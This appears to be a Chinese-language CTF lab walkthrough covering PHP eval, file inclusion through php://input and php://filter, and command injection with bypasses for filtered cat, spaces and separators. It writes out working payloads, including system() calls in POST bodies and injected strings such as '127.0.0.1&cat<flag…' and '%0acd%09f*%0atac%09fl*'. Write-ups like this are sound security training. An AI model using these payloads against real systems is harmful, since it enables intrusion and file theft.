eval执行文件
直接蚁剑连接即可
文件包含
shell.txt内容所以采用文件包含shell.txt,发个POST请求包
得出flag
php://input
靶场环境
观察phpinfo得出需要用php://input
修改发送方法为post,目标修改为/?file=php://input
将body换成<?php system('ls /');?>查看上一级文件
修改body为
<?php system('cat /flag_8987');?> 访问flag
远程包含
靶场环境
可以试着前面的思路去做
读取源代码
靶场环境
发现代码与上题无甚差异
遂构造php://input发现行不通,
那么可能是allow_url_fopen开关是off状态
所以用php://filter
?file=php://filter/read=convert.base64-encode/resource=…/…/…/flag
命令注入
靶场环境
通过管道符,可以将一个命令的标准输出管理为另外一个命令的标准输入,当它失败后,会执行另外一条命令
ping 127.0.0.1 | ls
发现有个php文件,cat一下
过滤cat
先查看目录
过滤cat所以用
more 根据窗口大小,一页一页的现实文件内容
less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head 只显示头几行
tail 只显示最后几行
127.0.0.1 & more flag_21019287518443.php
过滤空格
先查看目录
127.0.0.1&ls
<过滤空格
127.0.0.1&cat<flag_128152258530457.php
过滤目录分隔符
127.0.0.1;ls,
发现 flag_is_here
127.0.0.1;cd flag_is_here;ls
发现 flag_8051660913375.php
127.0.0.1;cd flag_is_here;cat flag_8051660913375.php
过滤运算符
和上题步骤一样即可做出
综合过滤练习
在url输入?ip=127.0.0.1%0als#查看上一级文件
lag可以用正则f***
/?ip=1%0acd%09f*%0atac%09fl*